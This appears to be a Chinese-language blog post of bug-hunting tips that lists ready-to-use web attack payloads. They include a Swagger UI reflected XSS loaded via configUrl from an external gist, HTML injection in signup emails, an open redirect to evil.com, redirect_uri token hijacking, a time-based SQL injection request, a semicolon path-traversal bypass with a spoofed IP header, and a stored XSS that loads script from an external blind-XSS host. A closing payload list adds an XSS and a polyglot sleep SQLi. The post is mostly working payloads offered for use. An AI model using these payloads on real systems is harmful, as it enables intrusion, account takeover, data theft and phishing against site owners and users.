漏洞挖掘小技巧（一）_src

Swagger UI反射XSS

Swagger UI是目前最流行的RestFul接口API文档和测试工具。
首先写一个 json的 XSS

https://gist.githubusercontent.com/ramkrivas/c47c4a49bea5f3ff99a9e6229298a6ba/raw/e2e610ea302541a37604c7df8bcaebdcb109b3ba/xsstest.json

回到Swagger UI，添加查询参数“configUrl”并传递上面的 url

https://test/swagger/indext.html?configUrl=https://gist.githubusercontent.com/ramkrivas/c47c4a49bea5f3ff99a9e6229298a6ba/raw/e2e610ea302541a37604c7df8bcaebdcb109b3ba/xsstest.json

其他类似功能的接口也能测试

发送电子邮件的HTML注入

在大多数网站上，成功注册后，应用程序会触发一封欢迎电子邮件给用户，我们可以拦截包来将HTML注入嵌入到电子邮件中

POST /dbconnections/signup HTTP/2
 Host: test
 Content-Type: application/json
 Accept: */*
 Accept-Language: en-us
 Accept-Encoding: gzip, deflate
 Origin: https://auth.yourdomain.com
 Content-Length: 628
 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Safari/605.1.15

{"email":"hacker123@gmail.com",
"password":"hackers@123*",
"user_metadata":{"given_name":"<s>John${{4*4}}","family_name":"Doe",
"locale_code":"\"><s><h1>HEHEHAHAHA</h1><br>\"><a href=//google.com>",
"LocaleId":"1"}}

通常 UI 不允许用户输入特殊字符来命名输入。将 locale_code 参数更改为

XSS \”><s><h1>your my loved victim HEHEHEHA</h1><br>\”><a href=//google.com >

此漏洞的影响可能很大，攻击者会将他们重定向到欺诈站点（网络钓鱼等）

开放重定向攻击

开放重定向攻击（Open Redirect Attack）是一种网络攻击，利用存在于 Web 应用程序中的漏洞来将用户重定向到恶意的站点。开放重定向攻击通常是通过修改 Web 应用程序中的跳转 URL 参数来实现的，攻击者可以将跳转地址指向恶意站点，从而欺骗用户进入恶意站点，造成信息泄露、钓鱼等安全问题。

假设有一个网站www.example.com，它有一个登录页面login.php，在登录成功后，用户将被重定向到一个名为redirect.php的页面。
例如，攻击者可以使用以下URL：

https://www.example.com/login.php?redirect=https://www.evil.com

当用户单击此链接时，他们将被带到login.php页面，然后被重定向到https://www.evil.com，这可能是一个钓鱼网站或一个安装恶意软件的网站。
攻击者可能会利用此攻击，让用户泄露敏感信息，如登录凭据或其他机密信息

还可以盗取cookie
比如说，有些web网站会在用户登录后，用户会重定向到特定 url 以进行令牌交换

https://test/openid-connect/auth? 
   client_id=authorization_code_flow 
   &redirect_uri=http://test.net 
   &state=00350ec61-f32b-4ffa-9892-711521ddf152b 
   &response_mode=fragment 
   &response_type=code&scope=openid&nonce=60824a30-489-4819-9af-db8284fcd029

攻击者可以将redirect_uri参数替换成受害者的参数

对应用程序表SQL注入攻击

攻击者可以使用 SQL 注入绕过 Web 应用程序的身份验证和授权机制并检索整个数据库的内容

GET : / test / admin.php?action = get - achievements & total_only = true 
 & user_id = 11 % 20 AND % 20 ( SELECT % 209628 % 20 FROM % 20 ( SELECT (SLEEP( 15 )))WOrh) --%20KUsb
 HTTP / 2

在上面的 url 中，攻击者用SQL sleep命令替换了user_id参数，如果攻击成功，那么上述 GET 端点的响应需要 15 秒

对管理目录的路径遍历攻击

假如一个网站的后台url是这样的

https://test/auth/admin/master/console/config

如果没有登录就访问，多半是403，我们可以在/admin之后添加分号 ;

https://test/auth/admin;/master/console/config

如果能访问，就说明这个url容易受到路径遍历攻击
也可以配合burp来绕过

X-Custom-IP-Authorization: 127.0.0.1
https://portswigger.net/burp/documentation/desktop/tutorials/using-match-and-replace

POST请求存储型XSS

在下面的示例中，我们向用户身份验证的API发出 POST 请求，并使用 XSS 存储用户信息

POST /api/Authentication/AuthenticateUser HTTP/2
Host: test
Content-Type: application/json; charset=utf-8
Cookie: ASP.NET_SessionId=25jqpkfplyfwwgkt5hxqhjtu; Guid=bc5308-e597-4145-a62b-81523236f9dd
Content-Length: 263

{ 
  "UserName":"username",
"P  assword":"password",
"Device":"PC'\"><script src=https://ls.bxss.in/>.techlabcorp.local"
}

下次用户登录应用程序时，XSS就会在应用程序中执行

一些payload

xss：

"><img src=x onerror=alert(1)>

sql:

)if(1=1,sleep(10),0)(/*')XOR(if(1=1,sleep(10),0))OR('")XOR(if(1=1,sleep(10),0))OR("*/

持续总结中